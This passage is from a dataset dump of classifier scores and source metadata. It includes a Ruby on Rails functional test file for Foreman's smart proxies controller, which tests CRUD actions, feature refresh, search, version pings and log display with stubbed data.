0.8777732471680516}, "reasoning_density": {"0": 0.5559051853178332, "1": 0.1042651810212882, "2": 0.14654777999956575, "3": 0.10342724648219859, "4": 0.08985460717911432}, "education_level": {"none": 0.0015757825754771746, "0": 0.002321095243715755, "1": 0.08595698401695659, "2": 0.7256146004421474, "3": 0.1588411309289419, "4": 0.0256904067927612}, "creative_writing_quality": {"not_applicable": 0.9994860388293813, "-2": 8.481329583321862e-05, "-1": 0.00011860951249597779, "0": 0.00021083189071606666, "1": 7.414982555934121e-05, "2": 2.555664601418843e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012107110937984716, "Art & Design": 0.00017936742467112367, "Law & Crime": 0.0001207019051080348, "Education & Careers": 8.4779426748789e-05, "Entertainment & Media": 0.0014585952940667456, "Fashion & Beauty": 0.00012589385399446208, "Business, Economics & Finance": 0.00010003209449741867, "Food & Dining": 9.526091134881052e-05, "Games & Gaming": 0.06523245179358991, "Electronics & Hardware": 7.999549524913488e-05, "Health, Healthcare & Wellness": 6.887675832024993e-05, "History & Geography": 9.926883195600729e-05, "Home, Pets & Hobbies": 0.00011108456750058378, "Industry & Production": 7.784825776283976e-05, "Language, Literature & Philosophy": 0.00010247428480157307, "Politics & Government": 6.107050361653608e-05, "Religion & Spirituality": 8.660887858187354e-05, "Science, Mathematics & Engineering": 0.00019098316118403626, "Relationships & Community": 5.502200868808243e-05, "Software Usage & Applications": 0.00040938185677529817, "Programming & Software Engineering": 0.9305544903196616, "Sports & Fitness": 0.00013277013716858274, "Vehicles & Transportation": 4.1469485228967804e-05, "Travel & Tourism": 8.549962546916897e-05, "Other / Uncovered Subject": 0.00021712703386451328, "Unknown / Insufficient Content": 0.00010787498076577541}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009315886700793841, "Art & Design": 0.0010233573615112536, "Law & Crime": 0.0006045575520749006, "Education & Careers": 0.00038393619173328754, "Entertainment & Media": 0.006456579754660372, "Fashion & Beauty": 0.00044178880821620715, "Business, Economics & Finance": 0.0006459341766026259, "Food & Dining": 0.00037858844939241647, "Games & Gaming": 0.3546622932765168, "Electronics & Hardware": 0.00046232334444038555, "Health, Healthcare & Wellness": 0.00043114238704654567, "History & Geography": 0.0004541898200431708, "Home, Pets & Hobbies": 0.0005367972240696825, "Industry & Production": 0.0003164187364297167, "Language, Literature & Philosophy": 0.00045176074108383655, "Politics & Government": 0.0002863176426053716, "Religion & Spirituality": 0.00045118981809784474, "Science, Mathematics & Engineering": 0.0005932008586912921, "Relationships & Community": 0.0002533447928864023, "Software Usage & Applications": 0.001278540577681843, "Programming & Software Engineering": 0.07731299591657424, "Sports & Fitness": 0.0004270893361489147, "Vehicles & Transportation": 0.00019094852165177237, "Travel & Tourism": 0.0004763630795595858, "Other / Uncovered Subject": 0.0006536766509574223, "NONE": 0.5498950763112445}}, "probabilities": {"primary": {"Academic Writing": 1.6399054806205466e-05, "Content Listing": 1.3891163201857615e-05, "Creative Writing": 3.128323916079792e-05, "Customer Support Page": 6.2562985957104275e-06, "Q&A Forum": 6.313288791314368e-06, "Discussion Thread": 4.358323716359119e-06, "Comment Section": 7.918940255957672e-06, "Missing Content": 1.2374029226933438e-05, "Knowledge Article": 5.689280146933196e-05, "Legal Notices": 1.7946216286978142e-05, "News Article": 2.789049064369345e-06, "Organizational Announcement": 7.368077014505655e-06, "Nonfiction Writing": 6.348481887104748e-06, "Organizational About Page": 6.0603668933447455e-06, "Personal About Page": 7.076588980424299e-06, "Personal Blog": 6.112260468835631e-06, "Product Page": 6.151293857305143e-06, "Spam / Ads": 6.742711737942947e-06, "Structured Data": 0.0006890285749878854, "Technical Writing": 0.9975366836273004, "Transcript / Interview": 8.095005068003029e-06, "Tutorial / How-To Guide": 0.00018998969451567186, "User Reviews": 4.752657954061763e-06, "Other / Unknown": 0.001349168254758702}, "secondary": {"Academic Writing": 0.00014810167920160973, "Content Listing": 0.0002405874711917354, "Creative Writing": 0.0010066074313349364, "Customer Support Page": 0.00010339912903227735, "Q&A Forum": 5.1131831975945164e-05, "Discussion Thread": 4.6438885314310134e-05, "Comment Section": 0.0003097570713176193, "Missing Content": 0.0003412251159194974, "Knowledge Article": 0.0012367545604612395, "Legal Notices": 0.00025403226457749594, "News Article": 6.817980607870307e-05, "Organizational Announcement": 7.63639142431362e-05, "Nonfiction Writing": 8.214009694874569e-05, "Organizational About Page": 8.351170847788536e-05, "Personal About Page": 7.417230009223369e-05, "Personal Blog": 7.28767201983401e-05, "Product Page": 5.236091439020782e-05, "Spam / Ads": 9.038203235194212e-05, "Structured Data": 0.010015443682803247, "Technical Writing": 0.01351295375132085, "Transcript / Interview": 8.136792050849772e-05, "Tutorial / How-To Guide": 0.001231816605449446, "User Reviews": 3.747571013493243e-05, "NONE": 0.9707829193966752}, "tertiary": {"Academic Writing": 7.359924889874199e-05, "Content Listing": 0.00019203567927735972, "Creative Writing": 0.0007582612550438166, "Customer Support Page": 6.388759988689104e-05, "Q&A Forum": 2.624213234319895e-05, "Discussion Thread": 2.5071337927554155e-05, "Comment Section": 0.0002045034949191847, "Missing Content": 0.0002844372053477434, "Knowledge Article": 0.0010011091715471075, "Legal Notices": 0.00033825398239390174, "News Article": 3.816645916443507e-05, "Organizational Announcement": 4.481220396170197e-05, "Nonfiction Writing": 5.144049420831932e-05, "Organizational About Page": 5.09753862239728e-05, "Personal About Page": 4.438693633833418e-05, "Personal Blog": 3.942473725581031e-05, "Product Page": 3.753735091170403e-05, "Spam / Ads": 6.381903182244619e-05, "Structured Data": 0.003916115796141416, "Technical Writing": 0.007075045493202712, "Transcript / Interview": 4.7763318950360734e-05, "Tutorial / How-To Guide": 0.0009605608050866966, "User Reviews": 2.33861007872273e-05, "NONE": 0.9846391647783594}, "structured_records": {"false": 0.9264097773990383, "true": 0.07359022260096176}, "procedural_steps": {"false": 0.9965460104554187, "true": 0.0034539895445813078}, "worked_solution": {"false": 0.9992837041473019, "true": 0.0007162958526980421}, "contextual_dialogue": {"false": 0.9999942969890022, "true": 5.703010997800084e-06}, "content_quality": {"-2": 0.004783969263179627, "-1": 0.012388458653777343, "0": 0.15559917978492768, "1": 0.5167093652624516, "2": 0.31051902703566375}, "noise_severity": {"0": 0.9428760128024585, "1": 0.05288896027474432, "2": 0.0029473769136041388, "3": 0.0007784819596434407, "4": 0.0005091680495496226}, "missing_content_severity": {"0": 0.9881948932713345, "1": 0.0035709617991711564, "2": 0.005731687671264967, "3": 0.002256576154562644, "4": 0.00024588110366672683}, "factual_density": {"0": 0.008363959225600287, "1": 0.01432123192140491, "2": 0.1373491716196081, "3": 0.4169298566511194, "4": 0.42303578058226726}, "pretraining_utility": {"-2": 0.010129936319745547, "-1": 0.13541818423428698, "0": 0.43856918205768897, "1": 0.3527088898976288, "2": 0.06317380749064973}, "math_density": {"0": 0.6959860644871203, "1": 0.21630439247998454, "2": 0.04266015933075859, "3": 0.009137899492388347, "4": 0.03591148420974823}, "code_density": {"0": 0.0001868255186948542, "1": 0.00034893500962602744, "2": 0.009990193860160413, "3": 0.1117007984434672, "4": 0.8777732471680516}, "reasoning_density": {"0": 0.5559051853178332, "1": 0.1042651810212882, "2": 0.14654777999956575, "3": 0.10342724648219859, "4": 0.08985460717911432}, "education_level": {"none": 0.0015757825754771746, "0": 0.002321095243715755, "1": 0.08595698401695659, "2": 0.7256146004421474, "3": 0.1588411309289419, "4": 0.0256904067927612}, "creative_writing_quality": {"not_applicable": 0.9994860388293813, "-2": 8.481329583321862e-05, "-1": 0.00011860951249597779, "0": 0.00021083189071606666, "1": 7.414982555934121e-05, "2": 2.555664601418843e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00012107110937984716, "Art & Design": 0.00017936742467112367, "Law & Crime": 0.0001207019051080348, "Education & Careers": 8.4779426748789e-05, "Entertainment & Media": 0.0014585952940667456, "Fashion & Beauty": 0.00012589385399446208, "Business, Economics & Finance": 0.00010003209449741867, "Food & Dining": 9.526091134881052e-05, "Games & Gaming": 0.06523245179358991, "Electronics & Hardware": 7.999549524913488e-05, "Health, Healthcare & Wellness": 6.887675832024993e-05, "History & Geography": 9.926883195600729e-05, "Home, Pets & Hobbies": 0.00011108456750058378, "Industry & Production": 7.784825776283976e-05, "Language, Literature & Philosophy": 0.00010247428480157307, "Politics & Government": 6.107050361653608e-05, "Religion & Spirituality": 8.660887858187354e-05, "Science, Mathematics & Engineering": 0.00019098316118403626, "Relationships & Community": 5.502200868808243e-05, "Software Usage & Applications": 0.00040938185677529817, "Programming & Software Engineering": 0.9305544903196616, "Sports & Fitness": 0.00013277013716858274, "Vehicles & Transportation": 4.1469485228967804e-05, "Travel & Tourism": 8.549962546916897e-05, "Other / Uncovered Subject": 0.00021712703386451328, "Unknown / Insufficient Content": 0.00010787498076577541}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0009315886700793844, "Art & Design": 0.0010233573615112538, "Law & Crime": 0.0006045575520749007, "Education & Careers": 0.00038393619173328764, "Entertainment & Media": 0.006456579754660374, "Fashion & Beauty": 0.00044178880821620726, "Business, Economics & Finance": 0.000645934176602626, "Food & Dining": 0.0003785884493924166, "Games & Gaming": 0.3546622932765169, "Electronics & Hardware": 0.00046232334444038566, "Health, Healthcare & Wellness": 0.0004311423870465458, "History & Geography": 0.0004541898200431709, "Home, Pets & Hobbies": 0.0005367972240696826, "Industry & Production": 0.00031641873642971675, "Language, Literature & Philosophy": 0.00045176074108383666, "Politics & Government": 0.00028631764260537165, "Religion & Spirituality": 0.00045118981809784485, "Science, Mathematics & Engineering": 0.0005932008586912922, "Relationships & Community": 0.00025334479288640233, "Software Usage & Applications": 0.0012785405776818432, "Programming & Software Engineering": 0.07731299591657426, "Sports & Fitness": 0.0004270893361489148, "Vehicles & Transportation": 0.00019094852165177243, "Travel & Tourism": 0.0004763630795595859, "Other / Uncovered Subject": 0.0006536766509574224, "NONE": 0.5498950763112446}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11509, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11509, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:06.483325+00:00", "scoring_key_slot": "primary", "dataset_uid": "05bd6960-6594-45f7-ade9-63c0f39541ca", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "0b8d78b36d21039b7662a6e6ff3609c6935ae75d603d5c95c77efdf128a429ba", "source_metadata": {"uuid": "05bd6960-6594-45f7-ade9-63c0f39541ca", "repo_name": "SrHaruno/Pokemon-God", "relative_path": "Plugins/Improved Field Skills/[001] Field Skills.rb", "category": "TOOL", "algo_rel_score": 0.9366143941879272, "quality_score": 4.058396816253662, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 485, "repo_created_at": "2023-09-19T19:37:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a46bb9ab747c95df4081e8ac3d4f369d78b8b4e0", "size_bytes": 12209, "file_timestamp": 1753463765, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "46ca97ec9e33880d2313216c5c0a332bcc4a61c6"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 485, "repo_created_at": "2023-09-19T19:37:29.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 2, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "a46bb9ab747c95df4081e8ac3d4f369d78b8b4e0", "size_bytes": 12209, "file_timestamp": 1753463765, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "46ca97ec9e33880d2313216c5c0a332bcc4a61c6", "url": "https://github.com/SrHaruno/Pokemon-God/blob/46ca97ec9e33880d2313216c5c0a332bcc4a61c6/Plugins/Improved%20Field%20Skills/%5B001%5D%20Field%20Skills.rb"}, "gpt4o_tokens": 2802, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.1157910221536425, "noise_severity": 0.06315583217908141, "missing_content_severity": 0.022787590020055933, "factual_density": 3.2319522674430483, "pretraining_utility": 0.32337844800515014, "math_density": 0.47268434645765967, "code_density": 3.8665247067325548, "reasoning_density": 1.0670609091834728, "education_level": 2.119811566989679, "creative_writing_quality": -0.31709202152077504}, "score_applicability": {"education_level": 0.9984242174245229, "creative_writing_quality": 0.0005139611706187927}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/stbenjam/foreman/blob/5ac689f104baeb6c6a1a1253fed47ee867d98d37/test/functional/smart_proxies_controller_test.rb", "id": "ruby-0-59d5b2dbd049c653cadcb62e90a1eb08", "text": "require 'test_helper'\n\nclass SmartProxiesControllerTest < ActionController::TestCase\n def test_index\n get :index, {}, set_session_user\n assert_template 'index'\n end\n\n def test_new\n get :new, {}, set_session_user\n assert_template 'new'\n end\n\n def test_create_invalid\n SmartProxy.any_instance.stubs(:valid?).returns(false)\n post :create, {:smart_proxy => {:name => nil}}, set_session_user\n assert_template 'new'\n end\n\n def test_create_valid\n SmartProxy.any_instance.stubs(:valid?).returns(true)\n SmartProxy.any_instance.stubs(:to_s).returns(\"puppet\")\n post :create, {:smart_proxy => {:name => \"MySmartProxy\", :url => \"http://nowhere.net:8000\"}}, set_session_user\n assert_redirected_to smart_proxies_url\n end\n\n def test_edit\n get :edit, {:id => SmartProxy.first}, set_session_user\n assert_template 'edit'\n end\n\n def test_update_invalid\n SmartProxy.any_instance.stubs(:valid?).returns(false)\n put :update, {:id => SmartProxy.first.to_param, :smart_proxy => {:url => nil}}, set_session_user\n assert_template 'edit'\n end\n\n def test_update_valid\n SmartProxy.any_instance.stubs(:valid?).returns(true)\n put :update, {:id => SmartProxy.first,:smart_proxy => {:url => \"http://elsewhere.com:8443\"}}, set_session_user\n assert_equal \"http://elsewhere.com:8443\", SmartProxy.first.url\n assert_redirected_to smart_proxies_url\n end\n\n def test_destroy\n proxy = SmartProxy.first\n proxy.subnets.clear\n proxy.domains.clear\n delete :destroy, {:id => proxy}, set_session_user\n assert_redirected_to smart_proxies_url\n assert !SmartProxy.exists?(proxy.id)\n end\n\n def test_refresh\n proxy = smart_proxies(:one)\n SmartProxy.any_instance.stubs(:associate_features).returns(true)\n post :refresh, {:id => proxy}, set_session_user\n assert_redirected_to smart_proxies_url\n assert_equal \"No changes found when refreshing features from DHCP Proxy.\", flash[:notice]\n end\n\n def test_refresh_change\n proxy = smart_proxies(:one)\n SmartProxy.any_instance.stubs(:associate_features).returns(true)\n SmartProxy.any_instance.stubs(:features).returns([features(:dns)]).then.returns([features(:dns), features(:tftp)])\n post :refresh, {:id => proxy}, set_session_user\n assert_redirected_to smart_proxies_url\n assert_equal \"Successfully refreshed features from DHCP Proxy.\", flash[:notice]\n end\n\n def test_refresh_fail\n proxy = smart_proxies(:one)\n errors = ActiveModel::Errors.new(Host::Managed.new)\n errors.add :base, \"Unable to communicate with the proxy: it is down\"\n SmartProxy.any_instance.stubs(:errors).returns(errors)\n SmartProxy.any_instance.stubs(:associate_features).returns(true)\n post :refresh, {:id => proxy}, set_session_user\n assert_redirected_to smart_proxies_url\n assert_equal \"Unable to communicate with the proxy: it is down\", flash[:error]\n end\n\n test \"should search by name\" do\n get :index, { :search => \"name=\\\"DNS Proxy\\\"\" }, set_session_user\n assert_response :success\n refute_empty assigns(:smart_proxies)\n assert assigns(:smart_proxies).include?(smart_proxies(:three))\n end\n\n test \"should search by feature\" do\n get :index, { :search => \"feature=DNS\" }, set_session_user\n assert_response :success\n refute_empty assigns(:smart_proxies)\n assert assigns(:smart_proxies).include?(smart_proxies(:three))\n end\n\n test \"smart proxy version succeeded\" do\n expected_response = {'version' => '1.11', 'modules' => {'dns' => '1.11'}}\n ProxyStatus::Version.any_instance.stubs(:version).returns(expected_response)\n get :ping, { :id => smart_proxies(:one).to_param }, set_session_user\n assert_response :success\n show_response = ActiveSupport::JSON.decode(@response.body)\n assert_equal('1.11', show_response['message']['version'])\n end\n\n test \"smart proxy version failed\" do\n ProxyStatus::Version.any_instance.stubs(:version).raises(Foreman::Exception, 'Exception message')\n get :ping, { :id => smart_proxies(:one).to_param }, set_session_user\n assert_response :success\n show_response = ActiveSupport::JSON.decode(@response.body)\n assert_match(/Exception message/, show_response['message'])\n end\n\n test '#show' do\n proxy = smart_proxies(:one)\n get :show, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'show'\n end\n\n test 'tftp_server should return tftp address' do\n ProxyStatus::TFTP.any_instance.stubs(:server).returns('127.13.0.1')\n get :tftp_server, { :id => smart_proxies(:two).to_param }, set_session_user\n assert_response :success\n show_response = ActiveSupport::JSON.decode(@response.body)\n assert_equal('127.13.0.1', show_response['message'])\n end\n\n test 'tftp server should return false if not found' do\n get :tftp_server, { :id => smart_proxies(:one).to_param }, set_session_user\n assert_response :success\n show_response = ActiveSupport::JSON.decode(@response.body)\n assert_match(/No TFTP feature/, show_response['message'])\n end\n\n test '#puppet_environments' do\n proxy = smart_proxies(:puppetmaster)\n fake_data = {'env1' => 1, 'special_environment' => 4}\n ProxyStatus::Puppet.any_instance.expects(:environment_stats).returns(fake_data)\n xhr :get, :puppet_environments, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/plugins/_puppet_envs'\n assert @response.body.include?('special_environment')\n assert @response.body.include?('5') #the total is correct\n end\n\n test '#log_pane' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n 'logs' => [{\n \"timestamp\" => 1453890750.9860077,\n \"level\" => \"DEBUG\",\n \"message\" => \"A debug message\"\n }]})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :log_pane, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_list'\n assert @response.body.include?('debug message')\n end\n\n test '#expire_logs' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n 'logs' => [{\n \"timestamp\" => 1453890750.9860077,\n \"level\" => \"DEBUG\",\n \"message\" => \"A debug message\"\n }]})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n SmartProxy.any_instance.expects(:expired_logs=).with('42').returns('42')\n xhr :get, :expire_logs, { :id => proxy.id, :from => 42 }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_list'\n assert @response.body.include?('debug message')\n end\n\n test '#failed_modules' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n 'info' => {\n \"failed_modules\" => {\n \"BMC\" => \"Initialization error\"\n }}})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :failed_modules, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_failed_modules'\n assert @response.body.include?('BMC')\n end\n\n test '#errors_card' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n \"info\" => {\n \"failed_modules\" => {}\n },\n \"logs\" => [\n { \"timestamp\" => 1000, \"level\" => \"INFO\", \"message\" => \"Message\" },\n { \"timestamp\" => 1001, \"level\" => \"INFO\", \"message\" => \"Message\" },\n { \"timestamp\" => 1002, \"level\" => \"ERROR\", \"message\" => \"Message\" },\n { \"timestamp\" => 1003, \"level\" => \"FATAL\", \"message\" => \"Message\" },\n ]})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :errors_card, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_errors_card'\n assert @response.body.include?('2 log messages')\n assert @response.body.include?('2 error messages')\n end\n\n test '#errors_card_empty' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n \"info\" => {\n \"failed_modules\" => {}\n },\n \"logs\" => []})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :errors_card, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_errors_card'\n assert @response.body.include?('pficon-ok')\n assert @response.body.include?('0 log messages')\n refute @response.body.include?('warning message')\n refute @response.body.include?('error message')\n end\n\n test '#modules_card' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n \"info\" => {\n \"failed_modules\" => {\n \"BMC\" => \"Message\",\n \"Puppet\" => \"Another message\",\n }\n },\n \"logs\" => []})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :modules_card, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_modules_card'\n assert @response.body.include?('4 active features')\n assert @response.body.include?('Failed features: BMC, Puppet')\n end\n\n test '#modules_card_empty' do\n proxy = smart_proxies(:logs)\n fake_data = ::SmartProxies::LogBuffer.new(\n {\n \"info\" => {\n \"failed_modules\" => {}\n },\n \"logs\" => []})\n ProxyStatus::Logs.any_instance.expects(:logs).returns(fake_data)\n xhr :get, :modules_card, { :id => proxy.id }, set_session_user\n assert_response :success\n assert_template 'smart_proxies/logs/_modules_card'\n assert @response.body.include?('pficon-ok')\n refute @response.body.include?('BMC')\n end\nend\n", "text_preview": "require 'test_helper' class SmartProxiesControllerTest < ActionController::TestCase def test_index get :index, {}, set_session_user assert_template 'index' end def test_new get :new, {}, set_session_user assert_template 'new' end def test_c", "input_sha256": "c902ae78eba61f0726a36c581d04fc60215e4c7f7239bb17fb285238defe6174", "text_sha256": "59d5b2dbd049c653cadcb62e90a1eb08ee78b19b75690a2e2f0552ef630730b3", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16017, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2867183301849536, "noise_severity": 0.032218387989445534, "missing_content_severity": 0.0030075249501693075, "factual_density": 3.246937453420756, "pretraining_utility": 0.33949004852789, "math_density": 0.027727882581504663, "code_density": 3.925371878396239, "reasoning_density": 0.7744798730420217, "education_level": 2.7477770971972055, "creative_writing_quality": -0.37345121488417077}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.034634088497408344, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9852180735723087, "secondary": 0.8921032001017326, "tertiary": 0.9282431185338109, "structured_records": 0.4473310847224785, "procedural_steps": 0.005039588805311827, "worked_solution": 0.15329140860171322, "contextual_dialogue": 1.0522144357100548e-05, "content_quality": 0.5524625854758112, "noise_severity": 0.9731513433421287, "missing_content_severity": 0.9974937292081922, "factual_density": 0.37244787785063027, "pretraining_utility": 0.42898402750175857, "math_density": 0.9768934311820794, "code_density": 0.9378098986635326, "reasoning_density": 0.35460010579831525, "education_level": 0.36229953829175693, "creative_writing_quality": 0.9993961645867624, "primary_topic": 0.9962385780363564, "secondary_topic": 0.9669365859797114}, "probability_margin": {"primary": 0.9775223012270154, "secondary": 0.8327771287295754, "tertiary": 0.885654717011769, "education_level": 0.08588859584705599, "creative_writing_quality": 0.9992818088691761, "primary_topic": 0.9937330326906016, "secondary_topic": 0.9539837764018055}, "raw_probabilities": {"primary": {"Academic Writing": 9.385968178034661e-05, "Content Listing": 5.600743815527798e-05, "Creative Writing": 3.5252524280700546e-05, "Customer Support Page": 2.35849930016609e-05, "Q&A Forum": 2.0035641480695962e-05, "Discussion Thread": 1.4498953890707143e-05, "Comment Section": 2.53959814639866e-05, "Missing Content": 3.220125128168732e-05, "Knowledge Article": 9.505255528214142e-05, "Legal Notices": 5.760950184450748e-05, "News Article": 9.9804970913935e-06, "Organizational Announcement": 2.0708548983563594e-05, "Nonfiction Writing": 2.4743098030880976e-05, "Organizational About Page": 2.3307207491526608e-05, "Personal About Page": 2.08142192141746e-05, "Personal Blog": 1.1239865930996225e-05, "Product Page": 1.3450209418819647e-05, "Spam / Ads": 1.629675450934478e-05, "Structured Data": 0.0049570937317652206, "Technical Writing": 0.9858339871734625, "Transcript / Interview": 4.005983929354318e-05, "Tutorial / How-To Guide": 0.00025089819178771353, "User Reviews": 1.2236194111664941e-05, "Other / Unknown": 0.008311685946447043}, "secondary": {"Academic Writing": 0.00041961809230482656, "Content Listing": 0.00038329395460678516, "Creative Writing": 0.0003084697722532307, "Customer Support Page": 0.00016423378134834487, "Q&A Forum": 0.00014056946861173267, "Discussion Thread": 0.00011272406053599554, "Comment Section": 0.00016615878299877968, "Missing Content": 0.0003588565962559402, "Knowledge Article": 0.0004153240833627233, "Legal Notices": 0.00021978941506950225, "News Article": 0.00017691567629449643, "Organizational Announcement": 0.00015609329429515766, "Nonfiction Writing": 0.00017543840848648377, "Organizational About Page": 0.00017858207675807222, "Personal About Page": 0.00015220586074480216, "Personal Blog": 0.00013633213870061487, "Product Page": 0.0001047795912127303, "Spam / Ads": 0.00016162552007636838, "Structured Data": 0.0638217713679183, "Technical Writing": 0.03466479760708323, "Transcript / Interview": 0.00024706710332865543, "Tutorial / How-To Guide": 0.000654647375776433, "User Reviews": 8.180587448303773e-05, "NONE": 0.8965989000974938}, "tertiary": {"Academic Writing": 0.0002750491301568155, "Content Listing": 0.00036268712969687156, "Creative Writing": 0.0002015868353443517, "Customer Support Page": 0.00011391215237981336, "Q&A Forum": 7.792690277033535e-05, "Discussion Thread": 7.174688389881779e-05, "Comment Section": 0.00011722727342208655, "Missing Content": 0.00030849477008575713, "Knowledge Article": 0.00047044859737988313, "Legal Notices": 0.00021806901165880358, "News Article": 0.00011379027473335485, "Organizational Announcement": 9.508567027774111e-05, "Nonfiction Writing": 0.00012445916236513368, "Organizational About Page": 0.0001470555043340994, "Personal About Page": 8.870899361541563e-05, "Personal Blog": 6.961374699355441e-05, "Product Page": 7.250097659769268e-05, "Spam / Ads": 0.00010237067545791876, "Structured Data": 0.045578271583133136, "Technical Writing": 0.019249902147343782, "Transcript / Interview": 0.00015508984883439944, 